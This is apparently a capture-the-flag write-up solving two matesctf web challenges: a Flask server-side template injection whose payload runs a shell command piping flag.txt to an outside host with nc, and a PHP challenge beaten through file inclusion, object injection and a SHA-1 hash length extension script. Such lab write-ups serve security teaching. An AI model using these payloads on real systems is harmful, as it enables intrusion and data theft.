ChatMe (200)

Bug

  • Flask Render Template
  • Server side template injection. Link

PoC

http://weblab01.matesctf.org/abc{{ 1 }}

Payload with python (keyword: pyjail)

> Listen on port 9999
> http://weblab01.matesctf.org/{{ ().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"].system('cat flag.txt | nc trich.im 9999') }}

Web300

LFI on param ?page

> http://weblab02.matesctf.org/web300/index.php?page=about
> http://weblab02.matesctf.org/web300/index.php?page=./about

Get source of admin.php

<?php include_once('log.php'); ?>

<?php
  require_once("sha1.php");
  require_once("secrets.php");
  
  $auth = false;
  if (isset($_COOKIE["auth"])) {
     $auth = unserialize($_COOKIE["auth"]);
     $hsh = $_COOKIE["hsh"];
     $sig = hash_sha1($SECRET . strrev($_COOKIE["auth"])); 
     if ($hsh !== $sig) {
        $auth = false;
     }
  }
  else {
    $auth = false;
    $s = serialize($auth);
    setcookie("auth", $s);
    setcookie("hsh", hash_sha1($SECRET . strrev($s)));
  }
  
  
  if ($auth) {
    echo "FLAG: $FLAG";
  }
  else echo "Sorry, not authorized.";
?>

There are 2 bugs

  • php object injection
  • hash length extension

We must set $auth to something else (not false/zero or NULL), and $hsh must equal to $sig. So we can extend hash of ($SECRET.";0:b") to ($SECRET.";0:b......{strip}......;1:b").

It means $auth = "b:1;......{strip}......b:0". Then unserialize($auth) == true. Voila!

And the last thing. sha1 algorithm in this app聽has been changed a bit (Github聽- line 87)

> Original: $c = rotl($b, 30);
> Current : $c = rotl($b, 20);

I鈥檓 gonna use聽hlextend. So I change the same rotation round in hlextend source (line 249)

> Original: a, b, c, d, e = temp, a, lrot(b, 30), c, d
> Current : a, b, c, d, e = temp, a, lrot(b, 20), c, d

Final payload

import hlextend
import requests
import urllib

def dd(kk):
  ss = ""
  i = 0
  while i<len(kk):
    if kk[i]!="\\":
      ss += kk[i]
      i+= 1
    else:
      ss += chr(int(kk[i+2:i+4], 16))
      i += 4
  return ss


for i in range(1,1000):
  sha = hlextend.new('sha1')

  t = ';0:b'
  data = sha.extend(';1:b', t, i, 'e375e5048c0014ad8083655e9b326ca2064d0eef')
  data = dd(data)[::-1] 

  url = 'http://weblab02.matesctf.org/web300/admin.php'

  headers = {
    'Host': 'weblab02.matesctf.org',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://weblab02.matesctf.org/web300/admin.php',
    'Cookie': 'auth='+urllib.quote(data) +'; hsh=' + sha.hexdigest()
  }

  t = requests.get(url, headers = headers)
  if t.text.find('FLAG')>0:
    print t.text
    break
  else:
    print i, "Not good"

Flag = matesctf{h@sh_l3ngth_3xtension_1s_funny} 馃榾